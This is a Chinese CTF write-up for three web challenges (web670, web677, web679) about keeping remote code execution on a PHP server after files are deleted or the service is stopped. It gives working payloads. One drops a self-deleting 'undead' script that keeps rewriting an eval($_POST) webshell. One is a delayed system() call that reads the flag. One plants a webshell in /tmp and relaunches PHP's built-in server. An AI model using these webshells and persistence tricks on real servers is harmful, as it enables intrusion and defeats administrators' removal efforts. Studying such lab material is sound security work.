web670

思路一:rm rf 不会删除.开头的文件。

写不了.开头的文件,故放弃。

思路二:内存马(不死马)

这个应该是预期解,参考链接 分享一个Php免杀和一个隐蔽内存马 - FreeBuf网络安全行业门户

payload:

1
2
3
GET:?action=cmd

POST:cmd=file_put_contents('chino.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

然后访问shell.php即可rce。

思路三:反弹shell

跟内存马有点相似。

web677

跟之前的题目有了些许变化,在这个目录没有可写入权限,而eval只能执行一句话,所以我们之前的内存马payload用不上了。

但思路跟之前一样:删了文件但是不会删除进程。

所以

1
2
3
GET:?action=cmd

POST:cmd=system('sleep 10;cat /f*');

这个页面提交这个,打开另一个页面提交action=check。

然后等待就可以获得flag。

web679

这题难点在于会关闭web服务然后再生成flag。服务都关了,我们自然无法连接服务器,更无法获得flag。

所以我们需要再次启动web服务。由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。

payload:

1
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

一样的思路,check不会杀死进程,我们写入一个进程,功能是延迟10s后开启web服务。

然后等待就好,10s后,原本的网址会被映射到/tmp,然后rce即可(注意,连接的网址不变)